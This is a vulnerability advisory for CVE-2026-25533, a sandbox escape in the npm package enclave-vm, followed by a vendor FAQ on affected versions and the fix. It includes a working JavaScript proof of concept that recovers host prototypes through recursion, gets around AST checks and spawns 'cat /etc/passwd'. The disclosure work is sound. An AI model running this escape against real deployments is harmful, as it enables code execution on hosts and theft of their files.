CVE-2026-25533

Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.

The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.

Details

There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.

PoC

The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.

import { Enclave } from 'enclave-vm';

// Create enclave with a tool handler
const enclave = new Enclave({
  timeout: 5000,
  maxToolCalls: 10,
  maxIterations: 1000,
  toolHandler: async (toolName, args) => {
    // Your tool execution logic
    return { success: true, data: `Called ${toolName}` };
  },
});

// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
  a();
} catch (e) {
  rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
  res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]  
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);

Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

Kodem intelligence

1. What is CVE-2026-25533? CVE-2026-25533 is a medium-severity security vulnerability in enclave-vm (npm), affecting versions <= 2.7.0. It is fixed in 2.10.1.
2. Which packages are affected by CVE-2026-25533?
   • enclave-vm (npm) (versions <= 2.7.0)
   • @enclave-vm/core (npm) (versions < 2.10.1)
3. Is there a fix for CVE-2026-25533? Yes. CVE-2026-25533 is fixed in 2.10.1. Upgrade to this version or later.
4. Is CVE-2026-25533 exploitable, and should I be worried? Whether CVE-2026-25533 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-25533 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-25533? Upgrade @enclave-vm/core to 2.10.1 or later.